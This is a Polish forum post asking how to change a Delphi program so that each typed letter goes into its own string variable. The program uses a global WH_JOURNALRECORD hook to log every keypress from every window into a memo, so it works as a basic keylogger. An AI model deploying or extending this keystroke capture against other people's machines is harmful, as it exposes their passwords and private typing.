to jest kod hooka, a moje pytanie jest na dole...
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls;
type
TMainForm = class(TForm)
Memo: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
end;
var
MainForm: TMainForm;
ZmiennaQ, ZmiennaW, ZmiennaE, ZmiennaR, ZmiennaT: String;
implementation
{$R *.dfm}
var
MainHook : HHOOK; // wskazanie na HOOK'a
lpWnd : PChar; // nazwa okna, w którym użytkownik naciska klawisz
function KeyboardHook(Code: Integer; wParam : WPARAM;
lParam : LPARAM): Longint; stdcall;
var
Buffer : TEventMsg; // deklaracja struktury
Wnd : array[0..255] of char;
procedure TranslateKey(Key : Byte);
begin
with MainForm do
begin
case Key of
13: Memo.Lines.Add('');
8: Memo.Text := Memo.Text + '[backspace]';
27: Memo.Text := Memo.Text + '[esc]';
else Memo.Text := Memo.Text + Chr(Key);
end;
end;
end;
begin
Result := 0; // wartość zwracana przez procedure
Buffer := PEventMsg(lParam)^; // uzyskanie danych poprzez odczytanie wskaznika
if Buffer.Message = WM_KEYDOWN then { dotyczy tylko komunikatu WM_KEYDOWN }
begin
GetWindowText(Buffer.hwnd, Wnd, SizeOf(Wnd)); // pobierz tekst aktywnego okna
{ jeżeli użytkownik zapisuje dane w innym oknie }
if Wnd <> lpWnd then
begin
lpWnd := Wnd;
MainForm.Memo.Clear; // wyczyść zawartość komponentu
end;
TranslateKey(Buffer.paramL);
end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
begin
{ załóż hooka }
MainHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
if (MainHook = NULL) then
raise Exception.Create('Błąd! Hook nie został założony!');
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;
end.
jak zapisać pojedyńczą litere do pojedyńczej zmiennej ???
tak aby nie było Memo, tylko litery zapisywały się do zmiennych np: Litera Q do zmiennej ZmiennaQ...
// Używaj tagu <code class="delphi">
a nie `<code></code>` - Q
// Tego coś się Kojot pogubił w kolorowaniu - Q